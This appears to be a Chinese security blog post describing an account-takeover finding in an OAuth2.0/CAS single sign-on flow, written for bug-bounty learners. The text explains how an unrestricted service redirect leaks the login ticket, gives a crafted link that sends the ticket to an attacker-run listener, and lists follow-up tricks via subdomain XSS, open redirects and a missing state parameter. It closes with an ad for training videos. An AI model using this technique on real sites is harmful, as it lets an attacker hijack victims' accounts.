OAuth2.0劫持账号漏洞挖掘案例

OAuth2.0劫持账号漏洞挖掘案例

前言

SSO和OAuth2.0大家都不陌生了,SSO简单说是一种概念,将登录认证和业务系统分离,而OAuth则是常用的授权框架,像微信、qq第三方登录,很多文章也都写了,这里就不叙述了,下面的案例则是用OAuth2.0来实现SSO单点登录的场景

漏洞挖掘过程

登录受害者账号,下面有很多子系统,随便点击一个,抓包看看流程

image.png

关键的有几个数据包,第一个数据包重定向的页面中携带了ticket

img

浏览器访问是这样的

img

第二个数据包如下,请求授权服务来获取access_token,这就是典型OAuth中的的授权码模式,上面的ticket就是授权码code

img

第三个数据包如下,带着这个token直接访问目标系统

img

我们将第一个get请求包参数修改为baidu测试看看是否做了限制,发现会直接跳到百度,没有做任何限制,这就代表攻击者访问自己的服务器就会把这个ticket带出,我们劫持到这个就可以劫持受害者账号

img

本地启动一个http服务演示,实际可使用dnslog或者自己服务器

image.png

将此链接发送给受害者,受害者点击即可盗取受害者的ticket

https://xx.xx.com/cas-server/login?service=http%3A%2F%2F127.0.0.1:8000

img

接受到ticket

img

直接把第二个数据包中的code替换,获取生成的access_token

img

直接将第三个数据包中的token替换访问即可接管账号

img

其它一些常见测试思路

假如说请求的url做了白名单限制,我们就可以尝试配合子域名下的xss来定向到我们的服务器,同理利用url跳转也可以绕过

还可以利用csrf劫持账号,在OAuth2.0协议中是有state参数,是随机生成的一串字符串来进行防御,但是也有很多站点没有使用这个参数或者参数值不会改变就会导致csrf

还有就是像令牌复用、不过期等风险项,实际利用很难的话国内src基本上也不会收

总的来说就是要关注整个认证流程每一个数据包,分析每一步是干了什么,如果有携带了代表账号的id、username、手机号等相关信息就可以尝试进行修改,有些参数可能进行了编码就忽略掉了

题外话

黑客&网络安全如何学习*

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值